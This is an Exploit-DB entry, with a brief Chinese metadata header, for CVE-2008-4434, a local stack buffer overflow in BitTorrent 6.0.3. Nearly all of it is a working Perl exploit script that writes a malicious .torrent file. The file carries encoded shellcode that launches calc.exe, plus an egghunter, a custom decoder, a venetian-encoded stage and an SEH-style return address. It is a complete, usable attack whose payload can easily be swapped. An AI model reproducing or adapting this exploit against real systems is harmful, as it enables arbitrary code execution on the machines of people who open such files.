标题: BitTorrent 6.0.3 - '.torrent' Local Stack Buffer Overflow EDB-ID: 6787 CVE: 2008-4434 类型: LOCAL 平台: WINDOWS 发布日期: 2008-10-19 漏洞利用脚本: #!/usr/bin/perl
# BitTorrent 6.0.3 .torrent File Stack Buffer Overflow Exploit
# 09/21/2008 by  k`sOSe && oVeret

use warnings;
use strict;

# If you change this(avoid \x80->\x9f unless you really know what you are doing) you must also change the length value of the decoder
my $shellcode =  
#  windows/exec CMD="C:\WINDOWS\system32\calc.exe"  
#[*] x86/alpha_mixed succeeded, final size 337                                                                                  
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41" .
"\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41" .
"\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4b\x58\x51" .
"\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47\x4c\x4c" .
"\x4b\x43\x4c\x45\x55\x44\x38\x43\x31\x4a\x4f\x4c\x4b\x50" .
"\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a\x4b\x51" .
"\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46\x51\x49" .
"\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x42\x54\x43\x37\x49" .
"\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c\x34\x47" .
"\x4b\x50\x54\x47\x54\x43\x34\x43\x45\x4d\x35\x4c\x4b\x51" .
"\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50" .
"\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45" .
"\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x46\x44\x45" .
"\x54\x48\x43\x51\x4f\x46\x51\x4b\x46\x45\x30\x46\x36\x45" .
"\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c" .
"\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x45\x58\x4d" .
"\x59\x4b\x48\x4d\x53\x49\x50\x42\x4a\x50\x50\x45\x38\x4a" .
"\x50\x4c\x4a\x43\x34\x51\x4f\x45\x38\x4c\x58\x4b\x4e\x4c" .
"\x4a\x44\x4e\x50\x57\x4b\x4f\x4a\x47\x50\x43\x46\x5a\x51" .
"\x4c\x46\x37\x50\x49\x50\x4e\x51\x54\x50\x4f\x50\x57\x50" .
"\x53\x51\x4c\x42\x53\x43\x49\x44\x33\x44\x34\x45\x35\x42" .
"\x4d\x50\x33\x46\x52\x51\x4c\x42\x43\x43\x51\x42\x4c\x45" .
"\x33\x46\x4e\x43\x55\x42\x58\x42\x45\x43\x30\x44\x4a\x41" .
"\x41";

$shellcode .= "\x87\x87"; # -> \x21\x20\x21\x20 -> EGG ( for english windows version )

my $ret = "\x3f\x41"; # -> unicode friendly pop,pop,ret

# unicode friendly get_EIP (needed by the venetian decoder)
sub get_eip
{
 #0041 00          ADD BYTE PTR DS:[ECX],AL
 #5F               POP EDI
 #0041 00          ADD BYTE PTR DS:[ECX],AL
 #5F               POP EDI
 #0041 00          ADD BYTE PTR DS:[ECX],AL
 #6A 00            PUSH 0
 #58               POP EAX
 #0041 00          ADD BYTE PTR DS:[ECX],AL
 #57               PUSH EDI
 #0041 00          ADD BYTE PTR DS:[ECX],AL
 #54               PUSH ESP
 #0041 00          ADD BYTE PTR DS:[ECX],AL
 #5A               POP EDX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #40               INC EAX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #43               INC EBX
 #0042 00          ADD BYTE PTR DS:[EDX],AL
 #58               POP EAX
 #0041 00          ADD BYTE PTR DS:[ECX],AL
 "\x5f\x41\x5f\x41\x6a\x58\x41\x57\x41\x54\x41\x5a" . "\x42\x40" x 12 . "\x42\x43" . "\x42\x58\x41";
}


sub egghunter
{
 #6A01  PUSH 1
 #5E  POP ESI
 #4E  DEC ESI (=0)
 #6A72  PUSH 72    <- starts from 0x00720000
 #56  PUSH ESI
 #4C  DEC ESP
 #4C  DEC ESP
 #5E  POP ESI
 #5E  POP ESI    <- ESI == 0x00720000
 #BA21202120 /MOV EDX,20212021  <- egg
 #46  |INC ESI
 #3B16  |CMP EDX,DWORD PTR DS:[ESI]
 #75FB  \JNZ SHORT egghunter
 "\x6A\x01\x5E\x4E\x6A\x72\x56\x4C\x4C\x5E\x5E\xBA\x21\x20\x21\x20\x46\x3B\x16\x75\xFB";
}

# this will decode the unicode expanded shellcode pushing it to the stack and the execute it
sub decoder
{
 #46  INC ESI
 #6A01  PUSH 1
 #6801010155 PUSH 0x55010101
 #4C  DEC ESP
 #5B  POP EBX
 #5B  POP EBX
 #AD  /LODS DWORD PTR DS:[ESI]
 #50  |PUSH EAX
 #44  |INC ESP
 #44  |INC ESP
 #44  |INC ESP
 #4E  |DEC ESI
 #4E  |DEC ESI
 #4E  |DEC ESI
 #4E  |DEC ESI
 #4E  |DEC ESI
 #4E  |DEC ESI
 #4B  |DEC EBX
 #83FB01  |CMP EBX,1
 #75EF  \JNE SHORT decoder
 #54  PUSH ESP
 #59  POP ECX
 #4C  DEC ESP  -> realign
 #51  PUSH ECX
 #C3  RET
"\x46\x6A\x01\x68\x01\x01\x01\x55\x4C\x5B\x5B\xAD\x50\x44\x44\x44\x4E\x4E\x4E\x4E\x4E\x4E\x4B\x83\xFB\x01\x75\xEF\x54\x59\x4c\x51\xc3";
}

# venetian deccoder + venetian encoded egghunter and decoder
sub venetian_decoder
{
"\x05\x03\x01\x71\x2D\x01\x01\x71\x40\x71\xC6\x01\x71\x40\x71\x40".
"\x71\xC6\x4E\x71\x40\x71\x40\x71\xC6\x72\x71\x40\x71\x40\x71\xC6".
"\x4C\x71\x40\x71\x40\x71\xC6\x5E\x71\x40\x71\x40\x71\xC6\xBA\x71".
"\x40\x71\x40\x71\xC6\x20\x71\x40\x71\x40\x71\xC6\x20\x71\x40\x71".
"\x40\x71\xC6\x3B\x71\x40\x71\x40\x71\xC6\x75\x71\x40\x71\x40\x71".
"\xC6\x46\x71\x40\x71\x40\x71\xC6\x01\x71\x40\x71\x40\x71\xC6\x01".
"\x71\x40\x71\x40\x71\xC6\x01\x71\x40\x71\x40\x71\xC6\x4C\x71\x40".
"\x71\x40\x71\xC6\x5B\x71\x40\x71\x40\x71\xC6\x50\x71\x40\x71\x40".
"\x71\xC6\x44\x71\x40\x71\x40\x71\xC6\x4E\x71\x40\x71\x40\x71\xC6".
"\x4E\x71\x40\x71\x40\x71\xC6\x4E\x71\x40\x71\x40\x71\xC6\x4B\x71".
"\x40\x71\xFE\xFE\x40\x71\xC6\xFB\x71\x40\x71\x40\x71\xC6\x75\x71".
"\x40\x71\x40\x71\xC6\x54\x71\x40\x71\x40\x71\xC6\x4C\x71\x40\x71".
"\x40\x71\xC6\xC3\x71\x40\x71\x04\x04\x04\x04\x04\x04\x04\x04\x04".
"\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04".
"\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04".
"\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04".
"\x6A\x5E\x6A\x56\x4C\x5E\x21\x21\x46\x16\xFB\x6A\x68\x01\x55\x5B".
"\xAD\x44\x44\x4E\x4E\x4E\x81\x01\xEF\x59\x51";
}

my $stack_buffer = $ret x 192 . get_eip() . venetian_decoder();

open(HANDLE, "> torrent.torrent") || die "Error!\n\n";
print HANDLE "d8:announce17:http://qwerty.qwe7:comment"  . 
  length($shellcode) .":"    . 
  $shellcode .
  "10:created by"     .
  length($stack_buffer) . ":"   .
  $stack_buffer     .
  "13:creation datei1218555046e8:encoding10:iso-8859-14:infod6:lengthi1e4:name6:bu.txt12:piece lengthi65536e6:pieces20:". 
  "\x86\xf7\xe4\x37\xfa\xa5\xa7\xfc\xe1\x5d\x1d\xdc\xb9\xea\xea\xea\x37\x76\x67\xb8\x65\x65\x0a";
close (HANDLE);

# milw0rm.com [2008-10-19] URL: https://www.exploit-db.com/exploits/6787